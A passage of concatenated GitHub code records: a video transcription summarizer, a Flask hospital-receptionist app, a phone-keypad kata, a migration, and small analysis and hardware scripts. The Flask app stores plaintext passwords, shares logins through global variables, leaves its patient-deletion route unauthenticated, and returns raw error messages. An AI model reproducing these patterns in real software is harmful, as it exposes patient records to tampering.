ydl.download([uri])\n meta = ydl.extract_info(uri, download=False)\n return meta['title']\n\n\ndef transcribe_file(input_language, mode, path, bucket_name):\n \"\"\"Asynchronously transcribes the audio file specified.\"\"\"\n\n if input_language == 'fr':\n language = 'fr-FR'\n else:\n language = 'en-US'\n\n client = speech.SpeechClient()\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.FLAC,\n language_code=\"en-US\",\n enable_word_time_offsets=True,\n model='video',\n audio_channel_count=2,\n enable_automatic_punctuation=True,\n )\n\n # file on GCS\n if mode == \"gcs\":\n audio = speech.RecognitionAudio(uri=f\"{gs_uri_prefix}/{path}\")\n # local file\n else:\n with open(path, \"rb\") as audio_file:\n content = audio_file.read()\n audio = speech.RecognitionAudio(content=content)\n\n operation = client.long_running_recognize(config=config, audio=audio)\n\n print(\"Waiting for operation to complete...\")\n response = operation.result(timeout=90)\n\n # Each result is for a consecutive portion of the audio. Iterate through\n # them to get the transcripts for the entire audio file.\n content = \"\"\n for result in response.results:\n # The first alternative is the most likely one for this portion.\n print(u\"Transcript: {}\".format(result.alternatives[0].transcript))\n print(\"Confidence: {}\".format(result.alternatives[0].confidence))\n content += result.alternatives[0].transcript\n content += \"\\n\"\n\n return content\n\n\ndef upload_to_bucket(blob_name):\n storage_client = storage.Client.from_service_account_json(config)\n\n bucket = storage_client.get_bucket(bucket_name)\n blob = bucket.blob(blob_name)\n blob.upload_from_filename(blob_name)\n\n return blob.public_url\n\n\ndef get_summary(video_id: str):\n summary = \"\"\n load_dotenv()\n filename = download_video(video_id)\n filename = filename\n bucket_audio = \"{0}.flac\".format(filename)\n upload_to_bucket(bucket_audio)\n script = transcribe_file(\"en\", \"gcs\", bucket_audio, gs_uri_prefix)\n\n parser = PlaintextParser.from_string(script, Tokenizer(LANGUAGE))\n stemmer = Stemmer(LANGUAGE)\n\n summarizer = Summarizer(stemmer)\n summarizer.stop_words = get_stop_words(LANGUAGE)\n\n for sentence in summarizer(parser.document, SENTENCES_COUNT):\n summary = summary + str(sentence) + \" \"\n\n return [filename, summary]\n\n\nif __name__ == \"__main__\":\n r = get_summary('Zv5Qa2kGL04')\n print(r[0])\n print(r[1])\n","repo_name":"Goutham888/HooHacks2021","sub_path":"Backend/summarize.py","file_name":"summarize.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21308771601","text":"from flask import Flask, render_template, request,redirect,session\r\nfrom flask import redirect, url_for, session\r\nfrom flask import session, request\r\nimport sqlite3\r\nfrom datetime import datetime\r\nfrom flask_session import Session\r\nfrom flask import *\r\n\r\napp = Flask(__name__)\r\napp = Flask(__name__, template_folder= \"templates\")\r\n\r\napp.config[\"SESSION_PERMANENT\"] = True\r\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\r\nSession(app)\r\n\r\n#Global Variables\r\n\r\nGlobal_hid=0\r\nGlobal_did=0\r\ndoctor_hid=0\r\n\r\n# Note: Sessions have been implemented thus allowing access to only the logged in hospital admins/doctors . \r\n# If you are not logged in, you will be redirected to the homepage automatically and displayed an error message.\r\n\r\n#-------Home Page-----------\r\n@app.route('/')\r\ndef greeting():\r\n return render_template(\"Homepage.html\")\r\n\r\n#-------Registering an Hospital-------\r\n@app.route('/register_hospital', methods=['GET','POST'])\r\ndef register_hospital():\r\n if request.method == 'POST':\r\n hid = request.form['hid']\r\n name = request.form['name']\r\n pswd= request.form['pswd']\r\n\r\n try:\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"INSERT into hospital (Hospital_ID,Password,Name) values (?,?,?)\",(hid,pswd,name)) \r\n \r\n print (\"Commiting the changes\")\r\n connection.commit()\r\n\r\n print (\"Closing the datbase\")\r\n connection.close()\r\n\r\n return redirect(url_for('greeting'))\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n else:\r\n return render_template(\"register_hospital.html\")\r\n\r\n#-------Hospital Log in---------\r\n@app.route('/login',methods=['GET','POST'])\r\ndef login():\r\n if request.method == 'POST':\r\n global Global_hid\r\n Global_hid = request.form['hid']\r\n pswd= request.form['pswd']\r\n\r\n try:\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT * from hospital where Hospital_ID=?\",(Global_hid,)) \r\n\r\n print (\"Get the Rows from cursor\")\r\n information = cursor.fetchall() \r\n print(information)\r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n if (pswd==information[0][1]) :\r\n session['hospital']= Global_hid\r\n return redirect(url_for('options'))\r\n else:\r\n return('Incorrect username/password! Please try again')\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n else:\r\n return render_template(\"login_hospital.html\")\r\n\r\n#-------Logging out Doctor-----\r\n@app.route('/logoutdoc')\r\ndef logout_doc():\r\n session['doctor']= None\r\n return redirect(url_for('greeting'))\r\n\r\n#-------Logging out Hospital-----\r\n@app.route('/logouthospital')\r\ndef logout_hospital():\r\n session['hospital']= None\r\n return redirect(url_for('greeting'))\r\n\r\n#--------Viewing the Options---------\r\n@app.route('/options',methods=['GET','POST'])\r\ndef options():\r\n if not session.get(\"hospital\"):\r\n flash('You are not logged in as the admin')\r\n return redirect(url_for('greeting'))\r\n\r\n return render_template('options.html')\r\n\r\n#--------Registering a new doctor-----\r\n@app.route('/register_doctor',methods=['GET','POST'])\r\ndef register_doctor():\r\n if not session.get(\"hospital\"):\r\n flash('You are not logged in as the admin')\r\n return redirect(url_for('greeting'))\r\n if request.method == 'POST':\r\n\r\n hid = request.form['hid']\r\n did = request.form['did']\r\n name = request.form['name']\r\n gender = request.form['gender']\r\n qual = request.form['qual']\r\n about = request.form['about']\r\n contact = request.form['contact']\r\n stime = request.form['stime']\r\n etime = request.form['etime']\r\n pswd= request.form['pswd']\r\n\r\n try:\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"INSERT into doctor (Doc_ID,Name,Gender,Qualification,About,Contact,Start_time,End_time,Password,Hospital_ID) values (?,?,?,?,?,?,?,?,?,?)\",(did,name,gender,qual,about,contact,stime,etime,pswd,hid))\r\n \r\n print (\"Commiting the changes\")\r\n connection.commit()\r\n\r\n print (\"Closing the datbase\")\r\n connection.close()\r\n\r\n return redirect(url_for('options'))\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n else:\r\n return render_template(\"register_doctor.html\")\r\n\r\n#--------Doctor's Login------\r\n@app.route('/doctorlogin',methods=['GET','POST'])\r\ndef doctor_login():\r\n global doctor_hid\r\n global Global_did\r\n if request.method == 'POST':\r\n Global_did = request.form['did']\r\n doctor_hid = request.form['hid']\r\n pswd= request.form['pswd']\r\n\r\n try:\r\n\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT Name,Password from doctor where Hospital_ID=? AND Doc_ID=?\",(doctor_hid,Global_did,)) \r\n\r\n print (\"Get the Rows from cursor\")\r\n information = cursor.fetchall() \r\n print(information)\r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n if (pswd==information[0][1]) :\r\n session['doctor']= Global_did\r\n return redirect(url_for('doctor_view'))\r\n\r\n else:\r\n return ('Incorrect information entered! Try again')\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n else:\r\n return render_template(\"doctor_login.html\")\r\n\r\n#--------Doctor's View--------\r\n@app.route('/doctorview',methods=['GET','POST'])\r\ndef doctor_view():\r\n if not session.get(\"doctor\"):\r\n flash('You are not logged in as the doctor')\r\n return redirect(url_for('greeting'))\r\n global doctor_hid\r\n global Global_did\r\n try:\r\n #Getting casual patients\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT P_ID,Name,Gender,Age FROM patients WHERE Doctor_id=? AND Emergency=0 And Hospital_ID=?\",(Global_did,doctor_hid))\r\n\r\n\r\n print (\"Get the Rows from cursor\")\r\n casual_patients = cursor.fetchall() \r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n #Getting Emergency patients\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n\r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT P_ID,Name,Gender,Age FROM patients WHERE Doctor_id=? AND Emergency=1 And Hospital_ID=?\",(Global_did,doctor_hid,))\r\n\r\n print (\"Get the Rows from cursor\")\r\n emergency_patients = cursor.fetchall() \r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n #Getting doctor's name\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT Name FROM doctor WHERE Doc_ID=? AND Hospital_ID=?\",(Global_did,doctor_hid,))\r\n\r\n\r\n print (\"Get the Rows from cursor\")\r\n docname = cursor.fetchall() \r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n print(casual_patients)\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n\r\n return render_template('doctor_view.html',casual =casual_patients, emergency=emergency_patients,docname=docname)\r\n\r\n#--------Dismissing a patient----\r\n@app.route(\"/dismiss/\",methods=['GET','POST'])\r\ndef dismiss(pk):\r\n #if not session.get(\"hospital\"):\r\n #flash('You are not logged in as the doctor')\r\n #return redirect(url_for('greeting'))\r\n try:\r\n #Dismissing\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"DELETE from patients where P_ID=?\",(pk,))\r\n\r\n print (\"Commiting the changes\")\r\n connection.commit()\r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n return redirect(url_for('doctor_view'))\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n \r\n#--------Calling the Receptionist-----\r\n@app.route('/receptionist', methods=['GET','POST'])\r\ndef reception():\r\n if not session.get(\"hospital\"):\r\n flash('You are not logged in as the admin')\r\n return redirect(url_for('greeting'))\r\n global Global_hid\r\n try:\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT Doc_ID,Name,Qualification,Start_time,End_time from doctor where Hospital_ID=?\",(Global_hid,))\r\n\r\n print(\"Global HID=\",Global_hid)\r\n\r\n print (\"Get the Rows from cursor\")\r\n information = cursor.fetchall() \r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n\r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT Name,Doctor_id from patients where Hospital_ID=?\",(Global_hid,))\r\n\r\n print (\"Get the Rows from cursor\")\r\n patient = cursor.fetchall() \r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT Name from hospital where Hospital_ID=?\",(Global_hid,))\r\n\r\n print (\"Get the Rows from cursor\")\r\n hname = cursor.fetchall() \r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n\r\n return render_template('receptionist.html',doc = information, pat=patient,hname=hname)\r\n\r\n#--------Adding new patients to the Queue------\r\n@app.route('/addpatient',methods=['GET','POST'])\r\ndef addpatient():\r\n if not session.get(\"hospital\"):\r\n flash('You are not logged in as the admin')\r\n return redirect(url_for('greeting'))\r\n global Global_hid\r\n if request.method == 'POST':\r\n name = request.form['name']\r\n age = request.form['age']\r\n gender = request.form['gender']\r\n did = request.form['did']\r\n emer = request.form['emer']\r\n\r\n if emer=='y' or emer=='Y':\r\n emer=1\r\n else:\r\n emer=0\r\n\r\n try:\r\n\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"INSERT into patients (Name,Age,Gender,Emergency,Doctor_id,Hospital_ID) values (?,?,?,?,?,?)\",(name,age,gender,emer,did,Global_hid))\r\n \r\n print (\"Commiting the changes\")\r\n connection.commit()\r\n\r\n print (\"Closing the datbase\")\r\n connection.close()\r\n\r\n return redirect(url_for('reception'))\r\n\r\n except Exception as error:\r\n return_message = str(error)\r\n return(return_message)\r\n else:\r\n print (\"making a connection\")\r\n connection = sqlite3.connect('hospital_db.db')\r\n\r\n print (\"Getting a Cursor\")\r\n cursor = connection.cursor()\r\n \r\n print (\"Executing the DML\")\r\n cursor.execute(\"SELECT Doc_ID FROM doctor WHERE Hospital_ID=?\",(Global_hid,))\r\n\r\n\r\n print (\"Get the Rows from cursor\")\r\n doclist = cursor.fetchall() \r\n\r\n print (\"Closing the database\")\r\n connection.close()\r\n\r\n return render_template(\"add_patient.html\",doclist=doclist)\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n app.debug = True","repo_name":"R-my-T/Virtual-Hospital-Receptionist","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":12953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22819287237","text":"\"\"\"\nData: 15/02/2023\n\nFonte do Desafio: https://dojopuzzles.com/problems/encontre-o-telefone/\n\nEnunciado:\n\nEm alguns lugares é comum lembrar um número do telefone associando seus dígitos a letras. Dessa maneira a expressão MY LOVE significa 69 5683. Claro que existem alguns problemas, uma vez que alguns números de telefone não formam uma palavra ou uma frase e os dígitos 1 e 0 não estão associados a nenhuma letra.\n\nSua tarefa é ler uma expressão e encontrar o número de telefone correspondente baseado na tabela abaixo. Uma expressão é composta por letras maiúsculas (A-Z), hifens (-) e os números 1 e 0.\n\nLetras -> Número \nABC -> 2 \nDEF -> 3 \nGHI -> 4 \nJKL -> 5 \nMNO -> 6 \nPQRS -> 7 \nTUV -> 8 \nWXYZ -> 9 \n\n\nEntrada\n\nA entrada consiste de um conjunto de expressões. Cada expressão está sozinha em uma linha e possui C caracteres, onde 1 ≤ C ≤ 30. A entrada é terminada por fim de arquivo (EOF).\n\n\nSaída\n\nPara cada expressão você deve imprimir o número de telefone correspondente.\n\n\nExemplo de entrada:\n1-HOME-SWEET-HOME \nMY-MISERABLE-JOB\n\nSaída correspondente:\n1-4663-79338-4663 \n69-647372253-562\n\n\nCuriosidades\n\nA frase \"The quick brown fox jumps over the lazy dog\" é um pangrama (frase com sentido em que são usadas todas as letras do alfabeto de determinada língua) da língua inglesa.\n\n\nParticipantes:\n1 - Carlos Xavier\n2 - Everton Matos\n3 - Cássio\n4 - Gregorio\n5 - HB\n6 - Luiz Carlos\n\n\n\"\"\"\n\nimport pytest\n\n\ndef expressao(text):\n output = ''\n\n for x in text:\n if x in \"ABC\":\n output += \"2\"\n elif x in \"DEF\":\n output += \"3\"\n elif x in \"GHI\":\n output += \"4\"\n elif x in 'JKL':\n output += '5'\n elif x in 'MNO':\n output += '6'\n elif x in 'PQRS':\n output += '7'\n elif x in 'TUV':\n output += '8'\n elif x in 'WXYZ':\n output += '9'\n else:\n output += x\n\n return output\n\n\n#\n# teclas = [\"\", \"\", \"ABC\", \"DEF\", \"GHI\", \"JKL\", \"MNO\", \"PQRS\", \"TUV\", \"WXYZ\"]\n\n\ndef expressao_com_dicionario(text):\n output = ''\n num = {\n 'A': '2',\n 'B': '2',\n 'C': '2',\n 'D': '3',\n 'E': '3',\n 'F': '3',\n 'G': '4',\n 'H': '4',\n 'I': '4',\n 'J': '5',\n 'K': '5',\n 'L': '5',\n 'M': '6',\n 'N': '6',\n 'O': '6',\n 'P': '7',\n 'Q': '7',\n 'R': '7',\n 'S': '7',\n 'T': '8',\n 'U': '8',\n 'V': '8',\n 'W': '9',\n 'X': '9',\n 'Y': '9',\n 'Z': '9',\n }\n\n for x in text:\n if x in num:\n output += num[x]\n else:\n output += x\n\n return output\n\n\ndef test_expressao():\n assert expressao('M') == '6'\n assert expressao('Y') == '9'\n assert expressao('-') == '-'\n assert expressao('N') == '6'\n assert expressao('MY') == '69'\n assert expressao('MY-LOVE') == '69-5683'\n assert expressao('HOME-SWEET-HOME') == '4663-79338-4663'\n assert expressao('MY-MISERABLE-JOB') == '69-647372253-562'\n assert expressao_com_dicionario('A') == '2'\n assert expressao_com_dicionario('AD') == '23'\n assert expressao_com_dicionario('AD-E') == '23-3'\n assert expressao_com_dicionario('MY-LOVE') == '69-5683'\n assert expressao_com_dicionario('HOME-SWEET-HOME') == '4663-79338-4663'\n\n\n\nif __name__ == \"__main__\":\n pytest.main([\"-s\", __file__])\n","repo_name":"HBNetwork/coding-dojo","sub_path":"decodificando-mensagem-com-numero-do-telefone.py","file_name":"decodificando-mensagem-com-numero-do-telefone.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"12153039266","text":"import sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = '4041ff3eab58'\ndown_revision = 'c3a1c066eefc'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n op.execute(\"UPDATE alerts SET end_time = date_trunc('second', end_time + interval '1 millisecond')\")\n\n\ndef downgrade() -> None:\n op.execute(\"UPDATE alerts SET end_time = end_time - interval '1 millisecond'\")\n","repo_name":"deepchecks/monitoring","sub_path":"backend/deepchecks_monitoring/schema_migrations/versions/4041ff3eab58_standardise_alerts_times.py","file_name":"4041ff3eab58_standardise_alerts_times.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"24978345944","text":"#Script for weekly KPI Analysis\n#name the activity with the correct name of your workout activity\n#example activity_1= \"study_math\" \n#activity_2=\"reading\"\n#acitivity_3=\"call_a_friend\"\n#tu vuoi che lo script il mercoledì ti indichi dove rispetto agli obiettivi che ti sei dato identifichi dove dedicare più ore e ridefinire le priorità rispetto ad un disegno di lungo termine evitando che tu ti possa focalizzare troppo in una direzione piuttosto che in un'altra\n# Legge le attività\n# Vede quanto durano (conta i pomodori di ogni attività)\n# Legge le proporzioni\n#Calcola la proporzione \n# il codice andrà ulteriormente migliorato attraverso un caricamento più pulito dell'hader del csv\n# anche se brutto il codice potresti creare una nuova colonna di forma temporale \n# che tenga considerazione di quello che è stato fatto \n# crea un dictonary or tupla dove iterare\nactivity_1=\"CV\" \nactivity_2=\"Python\"\nactivity_3=\"englishstudy\"\ntime_variable=' Durata'\t\n#define the proportion between each main acitivity \nact_1=0.40\nact_2=0.20\nact_3=0.10\n\n#Import all the necessary library\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom datetime import datetime, timedelta\n\n\n#Insert the name of the csv where your pomodoro slots are logged\ncsvname=\"logs.csv\"\n\ntot_activity=[activity_1, activity_2, activity_3]\n#read the csv\t\n\ndataframe_raw=pd.read_csv(csvname,sep=',',header=0,skipfooter=0, index_col=False)\nprint(dataframe_raw.head())\n\n#remove anomalies clearing the time column with more than 25'for slot\nprint(dataframe_raw[time_variable].map(lambda x: len(x)).max())\ndataframe_raw.tail()\ndataframe_raw[time_variable] = dataframe_raw[time_variable].astype('str')\nmask = (dataframe_raw[time_variable].str.len() == 6) \ndataframe_raw = dataframe_raw.loc[mask]\n\ndataframe_raw[time_variable]=dataframe_raw[time_variable].str.strip()\n\ndataframe_raw[time_variable]=pd.to_datetime(dataframe_raw[time_variable], format='%M:%S')\ndataframe_raw.sort_values(by=' Tempo',ascending=False)\n\ndataframe_raw.info()\ndataframe_raw.tail()\ndataframe_raw[\"Date\"]= dataframe_raw.apply(lambda x: datetime.strptime(\"{0} {1} {2}\".format(x[\"Anno\"],x[\" Mese\"], x[\" Giorno\"]), \"%Y %m %d\"), axis=1)\n\nprint(dataframe_raw.tail())\n#identifing the \"last week column\" \n\n#based on how the clockwork work is better to merge year-month-day columns\n\n\n#The dataframe column with containing the day will be the \"Date\" \n#Later you need to modify \"Date\" and delete this comment\nprint(dataframe_raw[\"Date\"].tail(5))\ntime= np.sort(dataframe_raw[\"Date\"].unique())\nprint(time[-1])\n\n\nprint(dataframe_raw.dtypes)\n#defing the last 7 days to analyze\nw1=time[-8:]\nprint(w1)\n#last seven days data \nlw= dataframe_raw[dataframe_raw[\"Date\"].isin(w1)]\n#Now we have only the data about the 7 days \n#We can start identyfing if we are working well\n\nprint(lw.tail(5))\n\n#Now we have only the data about the 7 days \n#We can start identyfing if we are working well\n\n#extract all the row contains all the dictonary tot_activity\nprint(tot_activity)\nactivity_1df= lw['Attività'].str.contains(\"CV\",na=False)\nactivity_2df= lw['Attività'].str.contains(\"Python\",na=False)\nactivity_3df= lw['Attività'].str.contains(\"englishstudy\",na=False)\n\nsum=activity_1df|activity_2df|activity_3df\n\n\n\nlw_filter=lw[sum]\nprint(lw_filter.head())\n\ntotal_activity= lw_filter['Attività'].count()\nlw_filter['totale']=total_activity\n\nprint(lw_filter.head())\n#in questo modo sei riuscito a capire come il tempo è allocato ma la strada\n# è ancora lunga perchè serve capire come aggregare tutte le attività legate a \n#python e alla lettura \nprova= lw_filter.groupby('Attività').count().apply(lambda x : 100*x/float(total_activity))\nprint(prova) \n\n","repo_name":"uomodellamansarda/PersonalGrowthTracker","sub_path":"effortsestimator.py","file_name":"effortsestimator.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14004474723","text":"import pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\n\n\nclass SentimentExtractor:\n \"\"\" Count the number of good and bad words in each article, based on an annotated dataset\n Returns a csv file with the positive, negative and neutral frequencies per article \"\"\"\n\n def __init__(self, file):\n self.positive = []\n self.negative = []\n self.neutral = []\n self.load_words(file)\n\n def load_words(self, file):\n for row in file.iterrows():\n temp = row[1][\"priorpolarity\"].split(\"=\")\n if len(temp) > 1:\n if temp[1] == \"positive\":\n self.positive.append(row[1][\"word\"].split(\"=\")[1])\n elif temp[1] == \"negative\":\n self.negative.append(row[1][\"word\"].split(\"=\")[1])\n elif temp[1] == \"neutral\":\n self.neutral.append(row[1][\"word\"].split(\"=\")[1])\n\n def count(self, data):\n result = []\n pos_counter = 0\n neg_counter = 0\n neutral_counter = 0\n\n temp = data.split()\n for word in temp:\n if word in self.positive:\n pos_counter += 1\n elif word in self.negative:\n neg_counter += 1\n elif word in self.neutral:\n neutral_counter += 1\n\n result.append([pos_counter / len(temp), neg_counter / len(temp), neutral_counter / len(temp)])\n return result\n\n def words_classifier(self, data):\n result = []\n for article in tqdm(data.text):\n result.append(self.count(article))\n\n return np.vstack(result)\n\n\nif __name__ == '__main__':\n data = pd.read_csv(\"../resources/emotion.csv\")\n data_article = pd.read_csv(\"../dataset/test_OK.csv\")\n s = SentimentExtractor(data)\n results = s.words_classifier(data_article)\n\n from utils import saveMatrixAsCSV\n\n saveMatrixAsCSV(results, columnNames=[\"positive\", \"negative\", \"neutral\"], filename=\"sentiment_result_features.csv\")\n","repo_name":"AlexJacobs95/PDS","sub_path":"src/sentiment_analyzer.py","file_name":"sentiment_analyzer.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41787919221","text":"#!/usr/bin/env python\n\nimport RPi.GPIO as GPIO\nfrom time import sleep\nimport logging\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nhandler = logging.FileHandler('controlrelay.log')\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\n# global variables\nGPIO_PIN=18\ndef set_gpio ():\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(GPIO_PIN,GPIO.OUT)\n\n#trigger the bistable. it needs the change from high to low to switch state.\ndef trigger_bistable_relay(gpio_pin):\n GPIO.output(GPIO_PIN,GPIO.HIGH)\n GPIO.output(GPIO_PIN,GPIO.LOW)\n\n#turn on the relay.\ndef trigger_relay_on():\n GPIO.output(GPIO_PIN,GPIO.HIGH)\n logger.info(\"control relay trigger_relay_on\")\n\ndef trigger_relay_off():\n GPIO.output(GPIO_PIN,GPIO.LOW)\n logger.info(\"control relay trigger_relay_off\")\ndef main():\n set_gpio()\n trigger_relay_on()\n sleep(10)\n trigger_relay_off()\n\nif __name__==\"__main__\":\n main()\n","repo_name":"SeptimiuMitu/control-the-boiler","sub_path":"controlrelay.py","file_name":"controlrelay.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33451904981","text":"import os, sys\nsys.path.append(os.getcwd())\nimport pickle as pkl\nfrom urllib import request\nimport pandas as pd\nimport numpy as np\nfrom zipfile import ZipFile\n\ndataset_list = []\n\n\ndef load_datasets(datasets=None):\n \"\"\"\n Args:\n datasets (list of str): Lists of datasets to load by name. If None, all available datasets are loaded iteratively.\n \"\"\"\n if datasets is None:\n datasets = [d.name for d in dataset_list]\n for dataset in dataset_list:\n if dataset.name in datasets:\n yield dataset.load()\n\n\ndef classproperty(method):\n class ClassPropertyDescriptor:\n def __init__(self, method):\n self.method = method\n def __get__(self, obj, objtype=None):\n return self.method(objtype)\n return ClassPropertyDescriptor(method)\n\n\nclass Dataset:\n def __init__(self, dataframe):\n self.dataframe = dataframe\n self.n_examples, self.n_features = self.data.shape\n self.n_classes = len(set(self.target))\n\n @property\n def data(self):\n return self.dataframe.loc[:, self.dataframe.columns != 'class'].to_numpy(dtype=float)\n\n @property\n def target(self):\n return self.dataframe.loc[:, 'class'].to_numpy()\n\n def __repr__(self):\n return f'Dataset f{type(self).name} with {self.n_examples} examples and {self.n_features} features'\n\n @classproperty\n def path_to_raw_file(cls):\n return os.path.dirname(__file__) + '/raw/' + cls.name + '.raw'\n\n @classmethod\n def load(cls):\n if not os.path.exists(cls.path_to_raw_file):\n cls.download_dataset()\n\n return cls(cls.create_dataframe())\n\n @classmethod\n def download_dataset(cls):\n content = request.urlopen(cls.url)\n os.makedirs(os.path.dirname(__file__) + '/raw/', exist_ok=True)\n with open(cls.path_to_raw_file, 'wb') as file:\n for line in content:\n file.write(line)\n\n @classmethod\n def create_dataframe(cls):\n raise NotImplementedError\n\n\nclass BreastCancerWisconsinDiagnostic(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/breast-cancer-wisconsin/wdbc.data\"\n name = \"breast_cancer_wisconsin_diagnostic\"\n bibtex_label = \"street1993nuclear\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n col_names = ['id', 'class'] + [f'attr {i}' for i in range(30)]\n df = pd.read_csv(file, names=col_names, header=None)\n df.drop(columns=col_names[0], inplace=True)\n return df\ndataset_list.append(BreastCancerWisconsinDiagnostic)\n\nclass Cardiotocography10(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00193/CTG.xls\"\n name = \"cardiotocography_10\"\n bibtex_label = \"ayres2000sisporto\"\n @classmethod\n def create_dataframe(cls):\n with pd.ExcelFile(cls.path_to_raw_file) as file:\n df = pd.read_excel(file, sheet_name=file.sheet_names[1], header=0, skiprows=[0] + [i for i in range(2128, 2131)])\n cols = list(df)\n cols_to_drop = cols[:10] + cols[31:43] + cols[-2:]\n df.drop(columns=cols_to_drop, inplace=True)\n df.rename(columns={'CLASS':'class'}, inplace=True)\n return df\ndataset_list.append(Cardiotocography10)\n\nclass ClimateModelSimulationCrashes(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/00252/pop_failures.dat\"\n name = \"climate_model_simulation_crashes\"\n bibtex_label = \"lucas2013failure\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = pd.read_csv(file, header=0, delim_whitespace=True)\n df.drop(columns=list(df)[:2], inplace=True)\n df.rename(columns={list(df)[-1]:'class'}, inplace=True)\n return df\ndataset_list.append(ClimateModelSimulationCrashes)\n\nclass ConnectionistBenchSonar(Dataset):\n url = \"https://archive.ics.uci.edu/ml/machine-learning-databases/undocumented/connectionist-bench/sonar/sonar.all-data\"\n name = \"connectionist_bench_sonar\"\n bibtex_label = \"gorman1988analysis\"\n @classmethod\n def create_dataframe(cls):\n with open(cls.path_to_raw_file, 'r') as file:\n df = 